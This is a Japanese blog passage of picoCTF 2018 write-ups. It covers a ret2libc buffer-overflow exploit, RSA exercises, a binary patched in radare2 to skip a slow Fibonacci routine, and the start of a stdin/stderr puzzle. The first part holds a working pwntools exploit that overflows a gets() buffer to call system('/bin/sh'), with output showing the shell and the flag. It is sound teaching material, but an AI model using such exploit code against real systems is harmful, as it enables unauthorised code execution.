|           0x565b68c1      e8dafcffff     call sym.imp.printf         ; int printf(const char *format)
|           0x565b68c6      83c410         add esp, 0x10
|           0x565b68c9      83ec08         sub esp, 8
|           0x565b68cc      8d8330000000   lea eax, dword [ebx + 0x30] ; '0' ; 48
|           0x565b68d2      50             push eax
|           0x565b68d3      8d8303eaffff   lea eax, dword [ebx - 0x15fd]
|           0x565b68d9      50             push eax
|           0x565b68da      e8c1fcffff     call sym.imp.printf         ; int printf(const char *format)
|           0x565b68df      83c410         add esp, 0x10
|           0x565b68e2      83ec0c         sub esp, 0xc
|           0x565b68e5      6a0a           push 0xa                    ; 10
|           0x565b68e7      e804fdffff     call sym.imp.putchar        ; int putchar(int c)
|           0x565b68ec      83c410         add esp, 0x10
|           0x565b68ef      e8acfeffff     call sym.vuln
|           0x565b68f4      b800000000     mov eax, 0
|           0x565b68f9      8d65f8         lea esp, dword [local_8h]
|           0x565b68fc      59             pop ecx
|           0x565b68fd      5b             pop ebx
|           0x565b68fe      5d             pop ebp
|           0x565b68ff      8d61fc         lea esp, dword [ecx - 4]
\           0x565b6902      c3             ret
[0x565b6803]> s sym.vuln
[0x565b67a0]> pdf
/ (fcn) sym.vuln 99
|   sym.vuln ();
|           ; var int local_9ch @ ebp-0x9c
|           ; var int local_4h @ ebp-0x4
|           ; CALL XREF from sym.main (0x565b68ef)
|           0x565b67a0      55             push ebp
|           0x565b67a1      89e5           mov ebp, esp
|           0x565b67a3      53             push ebx
|           0x565b67a4      81eca4000000   sub esp, 0xa4
|           0x565b67aa      e8c1feffff     call sym.__x86.get_pc_thunk.bx
|           0x565b67af      81c351180000   add ebx, 0x1851
|           0x565b67b5      83ec0c         sub esp, 0xc
|           0x565b67b8      8d8390e9ffff   lea eax, dword [ebx - 0x1670]
|           0x565b67be      50             push eax
|           0x565b67bf      e854feffff     call fcn.565b6618
|           0x565b67c4      83c410         add esp, 0x10
|           0x565b67c7      83ec0c         sub esp, 0xc
|           0x565b67ca      8d8564ffffff   lea eax, dword [local_9ch]
|           0x565b67d0      50             push eax
|           0x565b67d1      e8dafdffff     call sym.imp.gets           ; char *gets(char *s)
|           0x565b67d6      83c410         add esp, 0x10
|           0x565b67d9      83ec0c         sub esp, 0xc
|           0x565b67dc      8d8564ffffff   lea eax, dword [local_9ch]
|           0x565b67e2      50             push eax
|           0x565b67e3      e830feffff     call fcn.565b6618
|           0x565b67e8      83c410         add esp, 0x10
|           0x565b67eb      83ec0c         sub esp, 0xc
|           0x565b67ee      8d83a0e9ffff   lea eax, dword [ebx - 0x1660]
|           0x565b67f4      50             push eax
|           0x565b67f5      e81efeffff     call fcn.565b6618
|           0x565b67fa      83c410         add esp, 0x10
|           0x565b67fd      90             nop
|           0x565b67fe      8b5dfc         mov ebx, dword [local_4h]
|           0x565b6801      c9             leave
\           0x565b6802      c3             ret
0x565b67dc      8d8564ffffff   lea eax, dword [local_9ch]
0x565b67e2      50             push eax
0x565b67d1      e8dafdffff     call sym.imp.gets           ; char *gets(char *s)

get関数呼び出しはこちら。事前のeax準備部分より、gets関数に渡されるbufferは ebp-0x9c となります。(vuln()関数の頭の部分より、var int local_9ch @ ebp-0x9c とあるので)
更に、ebp自体の 4byteを足した 160 = 0xa0 を適当な値で埋めてやり、その後に来るはずのmainへの戻り値部分から

  • system()のアドレス
  • system()からの戻りのアドレス (4byte)
  • system()の引数 ("bin/sh"なので、格納されている useful_string のアドレスを使います)

を指定します。

今回は初めて、pythonpwntools を使ってみました。python3バージョンの方。
macだと pip install するだけで使えるし、CTFでよくある対話型の扱いも簡単そう。
なによりCTFしてるなら使っとかなきゃ!くらいの勢いな気がする。。。
更に、picoCTF の shell に表示されているホストに接続し、自分のマシンからpicoCTF shellにssh接続しました。

f:id:kusuwada:20190312123755p:plain

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

# picoCTF の shell serverに接続
print('picoCTF shell server login')
print('name:')
pico_name = input('>>')
print('password')
pico_pass = input('>>')
pico_ssh = ssh(host = '2018shell4.picoctf.com', user=pico_name, password=pico_pass)
pico_ssh.set_working_directory('/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1')

# targetの実行 & fflush/systemアドレスの取得
p = pico_ssh.process('./vuln')

p.recvuntil('fflush ')
libc_fflush_addr = int(p.recvline().strip(), 16)
print('fflush address: ' + hex(libc_fflush_addr))

libc_system_addr = libc_fflush_addr - 0x229f0
print('system address: ' + hex(libc_system_addr))

p.recvuntil('useful_string: ')
useful_string_addr = int(p.recvline().strip(), 16)
print('useful_string address: ' + hex(useful_string_addr))

# buffer overflowさせるための入力を作成
payload = b'a' * (0x9c + 0x4)
payload += p32(libc_system_addr)
payload += b'a' * 0x4
payload += p32(useful_string_addr)
print(payload)

# 実行
p.sendline(payload)
p.interactive()

実行結果
※shell を取ったあとは、flag.txt を cat コマンドで出力

$ python solve.py 
(~~中略~~)
fflush address: 0xf758d330
system address: 0xf756a940
useful_string address: 0x565fa030
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@\xa9V\xf7aaaa0\xa0_V'
[*] Switching to interactive mode

Enter a string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@\xa9V?aaaa0\xa0_V
Thanks! Exiting now...
$ $ ls
flag.txt  vuln    vuln.c
$ $ cat flag.txt
picoCTF{syc4al1s_4rE_uS3fUl_88aa45fa} 

[Crypto] rsa-madlibs (250pt)

We ran into some weird puzzles we think may mean something, can you help me solve one? Connect with nc 2018shell.picoctf.com 16047

言われたホストにつないでみる。

$ nc 2018shell.picoctf.com 16047
Hello, Welcome to RSA Madlibs
Keeping young children entertained, since, well, nev3r
Tell us how to fill in the blanks, or if it's even possible to do so
Everything, input and output, is decimal, not hex
#### NEW MADLIB ####
q : 93187
p : 94603
##### WE'RE GONNA NEED THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO FILL IN THE MADLIB! ###
n: 8815769761
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
p : 81203
n : 6315400919
##### WE'RE GONNA NEED THE FOLLOWING ####
q
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO FILL IN THE MADLIB! ###
q: 77773
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
e : 3
n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913
##### WE'RE GONNA NEED THE FOLLOWING ####
q
p
IS THIS POSSIBLE and FEASIBLE? (Y/N):N
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
q : 78203
p : 79999
##### WE'RE GONNA NEED THE FOLLOWING ####
totient(n)
IS THIS POSSIBLE and FEASIBLE? (Y/N):
...(続く)

RSA絡みの問題が次々に出るので、答えていく。接続のタイムアウトがあるので、ある程度計算を自動化しておきたいところだが、何度やっても同じ値の問題が出るので、答えをメモっておくので十分そう。

問題1

q:93187, p:94603 の時に、 n は定まるか?という問題。
上記の質問に Y で応えると、nを答えよ、と。
n = p * q なので、計算機でちゃちゃっと計算。

問題2

pとnが与えられたときの q を求める。
q = n // p なので、これも計算機で計算して回答する。

問題3

次の問題は、基底 en が与えられたときの p,q を答える。
一般的に、eとnが与えられたのみで p, q がわかってしまうと、RSA暗号が破られてしまうのでできないはず。ただ一定の条件を満たすと、これまた別のCTF問題になって解けてしまう。
まずは深く考える前に N(no) と回答してみると、次に進めました。

問題4

q : 78203, p : 79999 のときの totient(n) を求める。totientの意味を知らなかったので調べる。

その数以下でその数と互いに素な数の個数

とのこと。n自体は p * q で求まり、totient(n) は素因数分解できれば良さそうなので求まりそう。

大きな数を扱ったり、因数分解・最大公約数/最小公倍数絡みの計算をするときは、pythonだとgmpyが良いらしいので、これを使って計算してみる。
algorithm - How many numbers below N are coprimes to N? - Stack Overflow
こちらからコードを拝借。

#!/usr/bin/env python3
import gmpy

n = 6256161797

def prime_factors(x):
    prime = gmpy.mpz(2)
    x = gmpy.mpz(x)
    factors = {}
    while x >= prime:
        newx, mult = x.remove(prime)
        if mult:
            factors[prime] = mult
            x = newx
        prime = prime.next_prime()
    return factors

def euler_phi(x):
    fac = prime_factors(x)
    result = 1
    for factor in fac:
      result *= (factor-1) * (factor**(fac[factor]-1))
    return result

print(euler_phi(n))

実行結果:

6256003596

問題5

plaintext : 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748
e : 3
n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
##### WE'RE GONNA NEED THE FOLLOWING ####
ciphertext
IS THIS POSSIBLE and FEASIBLE? (Y/N):

これは n,e と平文が与えられた状態で、暗号文が作れるか?という問題。
暗号文は c = pow(p, e, n) で与えられるので可能。

import gmpy

plaintext = 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748
e = 3
n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331

c = pow(plaintext, e, n)
print(c)

実行結果:

$ python solve.py 
26722917505435451150596710555980625220524134812001687080485341361511207096550823814926607028717403343344600191255790864873639087129323153797404989216681535785492257030896045464472300400447688001563694767148451912130180323038978568872458130612657140514751874493071944456290959151981399532582347021031424096175747508579453024891862161356081561032045394147561900547733602483979861042957169820579569242714893461713308057915755735700329990893197650028440038700231719057433874201113850357283873424698585951160069976869223244147124759020366717935504226979456299659682165757462057188430539271285705680101066120475874786208053

問題6

#### NEW MADLIB ####
ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
e : 3
n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359
##### WE'RE GONNA NEED THE FOLLOWING ####
plaintext

暗号文と e, n が与えられたとき、平文がわかるかという問題。これもわかるとマズイので、とりあえず N で回答。

問題7

#### NEW MADLIB ####
q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e : 65537
##### WE'RE GONNA NEED THE FOLLOWING ####
d

p,q,e がわかっている状態で、d が求まるのか?という問題。
d = inverse(e, (p-1)*(q-1)) で求まるはず!

from Crypto.Util.number import inverse

q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e = 65537

d = inverse(e, (p-1)*(q-1))
print(d)

実行結果

$ python solve.py 
1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729

問題8

#### NEW MADLIB ####
p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext : 313988037963374298820978547334691775209030794488153797919908078268748481143989264914905339615142922814128844328634563572589348152033399603422391976806881268233227257794938078078328711322137471700521343697410517378556947578179313088971194144321604618116160929667545497531855177496472117286033893354292910116962836092382600437895778451279347150269487601855438439995904578842465409043702035314087803621608887259671021452664437398875243519136039772309162874333619819693154364159330510837267059503793075233800618970190874388025990206963764588045741047395830966876247164745591863323438401959588889139372816750244127256609
e : 65537
n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
##### WE'RE GONNA NEED THE FOLLOWING ####
plaintext

暗号文、p,e,nがわかった状態で、平文が求まるか?という問題。

q = n // p
d = inverse(e, (p-1)*(q-1))
plaintext = pow(c, d, n)

n, e, d から鍵の再構築ができるので、可能!

from Crypto.Util.number import inverse

p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext = 313988037963374298820978547334691775209030794488153797919908078268748481143989264914905339615142922814128844328634563572589348152033399603422391976806881268233227257794938078078328711322137471700521343697410517378556947578179313088971194144321604618116160929667545497531855177496472117286033893354292910116962836092382600437895778451279347150269487601855438439995904578842465409043702035314087803621608887259671021452664437398875243519136039772309162874333619819693154364159330510837267059503793075233800618970190874388025990206963764588045741047395830966876247164745591863323438401959588889139372816750244127256609
e = 65537
n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239

q = n // p
d = inverse(e, (p-1)*(q-1))
plain = pow(ciphertext, d, n)
print(plain)

実行結果:

$ python solve.py 
240109877286251840533272915662757983981706320845661471802585807564915966910384357188798388651570045

全部入力し終わると、flagを示唆する文言が

final

If you convert the last plaintext to a hex number, then ascii, you'll find what you're searching for ;)

ほうほう!最後の回答のplaintextを hex -> asciiにすれば flag になるっぽい。

import binascii

plaintext = 240109877286251840533272915662757983981706320845661471802585807564915966910384357188798388651570045
flag = bytes.fromhex(hex(plaintext)[2:]).decode('ascii')
print(flag)

実行結果:

$ python solve.py 
picoCTF{d0_u_kn0w_th3_w@y_2_RS@_8d079623}

[Reversing] be-quick-or-be-dead-2 (275pt)

As you enjoy this music even more, another executable be-quick-or-be-dead-2 shows up. Can you run this fast enough too? You can also find the executable in /problems/be-quick-or-be-dead-2_2_7e92e9cc48bad623da1c215c192bc919.

be-quick-or-be-dead-1 のときと同じPVへのリンクが。またようわからんので無視。
落としてきたファイルを念の為確認。

$ file be-quick-or-be-dead-2 
be-quick-or-be-dead-2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a6670d34bc3d40dbbfd48cf8da5450cf4633ada7, not stripped

実行ファイル。picoCTFサーバー上で、1と同じく実行してみる。

$ ./be-quick-or-be-d
ead-2                                                                                                           
Be Quick Or Be Dead 2                                                                                           
=====================                                                                                           
                                                                                                                
Calculating key...                                                                                              
You need a faster machine. Bye bye.  

全く同じ。時間切れで終わってしまいました。
picoCTF2018 200pt問題のwrite-up - 好奇心の足跡gdbだけでやりきりたい! でやった方法を使ってみました。(SIGNALを無効にしてdebug)

18:29 start

$ gdb be-quick-or-be-dead-1
(gdb) handle all ignore
~~中略~~
(gdb) run
Starting program: /problems/be-quick-or-be-dead-2_2_7e92e9cc48bad623da1c215c192bc919/be-quick-or-be-dead-2      
Be Quick Or Be Dead 2                                                                                           
=====================                                                                                           
                                                                                                                
Calculating key... 
Program terminated with signal SIGKILL, Killed.                                                                 
The program no longer exists.                              

うーん、1のときよりかなり時間がかかってそうです。SIGALRMではなく、SIGKILLで落とされました。

(gdb) handle SIGKILL nostop                                                                                     
Signal        Stop      Print   Pass to program Description                                                     
SIGKILL       No        Yes     No              Killed

SIGKILLで止まらないようにして再実行。…と思ったのですが、SIGKILLはgdbの中で無効化していても有効なようです。ということで、別のやり方を。
しかし set_timer() を呼び出さない、の方法にしても実行時間が長すぎるのであまり結果変わらず。待ったら出るのか、永遠に出ないのか、実際の競技中だと見極めが難しいところなやつ。
どこで時間がかかっているか、ちゃんと中身を見てみます。

mainから

[0x0040074b]> s main
[0x0040085f]> pdf
            ;-- main:
/ (fcn) sym.main 62
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x4005bd)
|           0x0040085f      55             push rbp
|           0x00400860      4889e5         mov rbp, rsp
|           0x00400863      4883ec10       sub rsp, 0x10
|           0x00400867      897dfc         mov dword [local_4h], edi   ; argc
|           0x0040086a      488975f0       mov qword [local_10h], rsi  ; argv
|           0x0040086e      b800000000     mov eax, 0
|           0x00400873      e8a9ffffff     call sym.header
|           0x00400878      b800000000     mov eax, 0
|           0x0040087d      90             nop
..
|           0x00400882      b800000000     mov eax, 0
|           0x00400887      e842ffffff     call sym.get_key
|           0x0040088c      b800000000     mov eax, 0
|           0x00400891      e863ffffff     call sym.print_flag
|           0x00400896      b800000000     mov eax, 0
|           0x0040089b      c9             leave
\           0x0040089c      c3             ret

get_key を見てみます。

[0x0040085f]> s sym.get_key
[0x004007ce]> pdf
/ (fcn) sym.get_key 43
|   sym.get_key ();
|           ; CALL XREF from sym.main (0x400887)
|           0x004007ce      55             push rbp
|           0x004007cf      4889e5         mov rbp, rsp
|           0x004007d2      bfb8094000     mov edi, str.Calculating_key... ; 0x4009b8 ; "Calculating key..."
|           0x004007d7      e854fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007dc      b800000000     mov eax, 0
|           0x004007e1      e865ffffff     call sym.calculate_key
|           0x004007e6      8905d4082000   mov dword [obj.key], eax    ; obj.__TMC_END ; [0x6010c0:4]=0
|           0x004007ec      bfcb094000     mov edi, str.Done_calculating_key ; 0x4009cb ; "Done calculating key"
|           0x004007f1      e83afdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007f6      90             nop
|           0x004007f7      5d             pop rbp
\           0x004007f8      c3             ret

今回も 0x004007d2 の "Calculating key..." が出力されたあと、 0x004007ec の "Done calculating key" が出ずに止まっています。
この間 calculate_key が呼ばれているので、今回もここに時間のかかる理由がありそうです。見ていきます。

[0x004007ce]> s sym.calculate_key
[0x0040074b]> pdf
/ (fcn) sym.calculate_key 16
|   sym.calculate_key ();
|           ; CALL XREF from sym.get_key (0x4007e1)
|           0x0040074b      55             push rbp
|           0x0040074c      4889e5         mov rbp, rsp
|           0x0040074f      bf02040000     mov edi, 0x402              ; 1026
|           0x00400754      e8adffffff     call sym.fib
|           0x00400759      5d             pop rbp
\           0x0040075a      c3             ret

意外と短い。call sym.fib という関数が呼ばれています。前回なかったやつですね。

[0x0040074b]> s sym.fib
[0x00400706]> pdf
/ (fcn) sym.fib 69
|   sym.fib (int arg1);
|           ; var int local_24h @ rbp-0x24
|           ; var int local_14h @ rbp-0x14
|           ; arg int arg1 @ rdi
|           ; CALL XREFS from sym.fib (0x400728, 0x400737)
|           ; CALL XREF from sym.calculate_key (0x400754)
|           0x00400706      55             push rbp
|           0x00400707      4889e5         mov rbp, rsp
|           0x0040070a      53             push rbx
|           0x0040070b      4883ec28       sub rsp, 0x28               ; '('
|           0x0040070f      897ddc         mov dword [local_24h], edi  ; arg1
|           0x00400712      837ddc01       cmp dword [local_24h], 1
|       ,=< 0x00400716      7708           ja 0x400720
|       |   0x00400718      8b45dc         mov eax, dword [local_24h]
|       |   0x0040071b      8945ec         mov dword [local_14h], eax
|      ,==< 0x0040071e      eb21           jmp 0x400741
|      |`-> 0x00400720      8b45dc         mov eax, dword [local_24h]
|      |    0x00400723      83e801         sub eax, 1
|      |    0x00400726      89c7           mov edi, eax``
|      |    0x00400728      e8d9ffffff     call sym.fib
|      |    0x0040072d      89c3           mov ebx, eax
|      |    0x0040072f      8b45dc         mov eax, dword [local_24h]
|      |    0x00400732      83e802         sub eax, 2
|      |    0x00400735      89c7           mov edi, eax
|      |    0x00400737      e8caffffff     call sym.fib
|      |    0x0040073c      01d8           add eax, ebx
|      |    0x0040073e      8945ec         mov dword [local_14h], eax
|      |    ; CODE XREF from sym.fib (0x40071e)
|      `--> 0x00400741      8b45ec         mov eax, dword [local_14h]
|           0x00400744      4883c428       add rsp, 0x28               ; '('
|           0x00400748      5b             pop rbx
|           0x00400749      5d             pop rbp
\           0x0040074a      c3             ret

おー、なんか複雑そう。
0x0040070fedi の値を dword [local_24h] に入れています。この値と1を、次の行で比較し、1より大きければ 0x400720 に飛びます。
ここで飛ばなくなった場合、 dword [local_24h] の値が最終的にreturn値になっているようなので、ちゃんと最終的に何になるかを確認しないとだめみたいです。
0x004007280x00400737再帰的に fib() 関数を呼んでいます。 ここで時間がかかっていると考えるのが自然そうです。
また、関数名と再帰というところから、フィボナッチ数列を計算していると予測します。(中身ちゃんと見れてない…)
fib() 関数の呼び出し元 calculate_key() 関数では

0x0040074f      bf02040000     mov edi, 0x402              ; 1026
0x00400754      e8adffffff     call sym.fib

とあるところから、edi に 1026d が入った状態で fib() 関数を呼ばれています。
ということは、ここで返る値は、フィボナッチ数列の 1026 個目の値になるでしょうか。

フィボナッチ数列の計算の高速化(Python版) - Qiita

のコードをお借りして計算すると、

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

def fib(n):
    if n <= 1:
        return n
    result = [1, 0, 0, 1]
    matrix = [1, 1, 1, 0]
    while n > 0:
        if n % 2:
            result = mul(matrix, result)
        matrix = mul(matrix, matrix)
        n //= 2
    return result[2]

def mul(a, b):
    return [a[0]*b[0] + a[1]*b[2],
            a[0]*b[1] + a[1]*b[3],
            a[2]*b[0] + a[3]*b[2],
            a[2]*b[1] + a[3]*b[3]]

n = 1026
result = fib(n)
print(result)
print("---- 32bit hex ---")
print(hex(result & (2 ** 32 - 1)))

実行結果

$ python fib.py 
11798692818055232550147578884125865608089028544560913468519228968187430794620907976123201977895385245239705082830656904630178314159866370495211539023461052682811230321796555930907722724384131648527339458407317543768
---- 32bit hex ---
0xf70a9b58

となりました。
fib(1026) を計算しましたが、eaxに保存して扱う(eaxは32bitアクセス)ため、32bitまでに切り落として16進表現にして出力しています。

あとは、再帰で計算させずに予め答えを格納するように書き換えればいけるはず!
calculate_key() 関数の呼び出し元の get_key() 関数を書き換えます。
calculate_key() 関数の呼び出し部分(0x004007e1)を、 eax に上記計算結果を格納します。

[0x0040085f]> s sym.get_key
[0x004007ce]> pdf
/ (fcn) sym.get_key 43
|   sym.get_key ();
|           ; CALL XREF from sym.main (0x400887)
|           0x004007ce      55             push rbp
|           0x004007cf      4889e5         mov rbp, rsp
|           0x004007d2      bfb8094000     mov edi, str.Calculating_key... ; 0x4009b8 ; "Calculating key..."
|           0x004007d7      e854fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007dc      b800000000     mov eax, 0
|           0x004007e1      e865ffffff     call sym.calculate_key
|           0x004007e6      8905d4082000   mov dword [obj.key], eax    ; obj.__TMC_END ; [0x6010c0:4]=0
|           0x004007ec      bfcb094000     mov edi, str.Done_calculating_key ; 0x4009cb ; "Done calculating key"
|           0x004007f1      e83afdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007f6      90             nop
|           0x004007f7      5d             pop rbp
\           0x004007f8      c3             ret
[0x004007ce]> s 0x004007e1
[0x004007e1]> pd 1
|           0x004007e1      e865ffffff     call sym.calculate_key
[0x004007e1]> wa mov eax, 0xf70a9b58
Written 5 byte(s) (mov eax, 0xf70a9b58) = wx b8589b0af7
[0x004007e1]> pdf
/ (fcn) sym.get_key 43
|   sym.get_key ();
|           ; CALL XREF from sym.main (0x400887)
|           0x004007ce      55             push rbp
|           0x004007cf      4889e5         mov rbp, rsp
|           0x004007d2      bfb8094000     mov edi, str.Calculating_key... ; 0x4009b8 ; "Calculating key..."
|           0x004007d7      e854fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007dc      b800000000     mov eax, 0
|           0x004007e1      b8589b0af7     mov eax, 0xf70a9b58
|           0x004007e6      8905d4082000   mov dword [obj.key], eax    ; obj.__TMC_END ; [0x6010c0:4]=0
|           0x004007ec      bfcb094000     mov edi, str.Done_calculating_key ; 0x4009cb ; "Done calculating key"
|           0x004007f1      e83afdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007f6      90             nop
|           0x004007f7      5d             pop rbp
\           0x004007f8      c3             ret
[0x004007e1]> dc
Be Quick Or Be Dead 2
=====================

Calculating key...
Done calculating key
Printing flag:
picoCTF{the_fibonacci_sequence_can_be_done_fast_7e188834}

しかし一体、あのPVはなにか意味があるのだろうか…?

[General] in out error (275pt)

Can you utlize stdin, stdout, and stderr to get the flag from this program? You can also find it in /problems/in-out-error_1_24ebc7186086f0f9a710de008628c561 on the shell server

picoCTF shell serverの指定のディレクトリに飛ぶと、DLできる in-out-error ファイルと flag.txt が落ちている。これは最終的には shell server で実行する必要がありそう。

$ ./in-out-error             
Hey There!                                                                                                      
If you want the flag you have to ask nicely for it.                                                             
Enter the phrase "Please may I have the flag?" into stdin and you shall receive.                                
                                                                                                                
You didn't ask correctly :(                                                                                     
No flag for you  

入力を空にすると、ちゃんと聞いてよと怒られました。ちゃんと Please may I have the flag? と入力すると、下記の出力が。ぱっと見flagがありそうですが、grepしてもありません。

Thank you for asking so nicely!                                                                                 
                                                                                                                
pWiec'orCeT Fn{op 1spt1rnagn_g1eSr_s4 _t7oh 1lnogv_e7                                                           
bY9o3u6 0kcnao}wp itchoeC TrFu{lpe1sp 1anngd_ 1sSo_ 4d_o7 hI1                                                   
nAg _f7ubl9l3 6c0ocmam}iptimceonCtT'Fs{ pw1hpa1tn gI_'1mS _t4h_i7nhk1inngg_ 7obf9                               
3Y6o0uc aw}opuilcdonC'TtF {gpe1tp 1tnhgi_s1 Sf_r4o_m7 ha1nnyg _o7tbh9e3r6 0gcuay}                               
p                                                                                                               
iIc ojCuTsFt{ pw1apn1nnag _t1eSl_l4 _y7ohu1 nhgo_w7 bI9'3m6 0fceae}lpiincgo                                     
CGToFt{tpa1 pm1ankge_ 1ySo_u4 _u7nhd1enrgs_t7abn9d3                                                             
6                                                                                                               
0Nceav}epri cgooCnTnFa{ pg1ipv1en gy_o1uS _u4p_                                                                 
7Nhe1vnegr_ 7gbo9n3n6a0 clae}tp iycoouC TdFo{wpn1                                                               
pN1envge_r1 Sg_o4n_n7ah 1rnugn_ 7abr9o3u6n0dc aa}npdi cdoeCsTeFr{tp 1ypo1un                                     
gN_e1vSe_r4 _g7ohn1nnag _m7abk9e3 6y0ocua }cpriyc                                                               
oNCeTvFe{rp 1gpo1nnnga_ 1sSa_y4 _g7oho1dnbgy_e7                                                                 
bN9e3v6e0rc ag}opnincao CtTeFl{lp 1ap 1lnige_ 1aSn_d4 _h7uhr1tn gy_o7ub                                         
9                                                                                                               
3W6e0'cvae} pkincoowCnT Fe{apc1hp 1ontgh_e1rS _f4o_r7 hs1on gl_o7nbg9                                           
3Y6o0ucra }hpeiacrotC'TsF {bpe1epn1 nagc_h1iSn_g4,_ 7bhu1tn                                                     
gY_o7ub'9r3e6 0tcoao} psihcyo CtToF {spa1yp 1intg                                                               
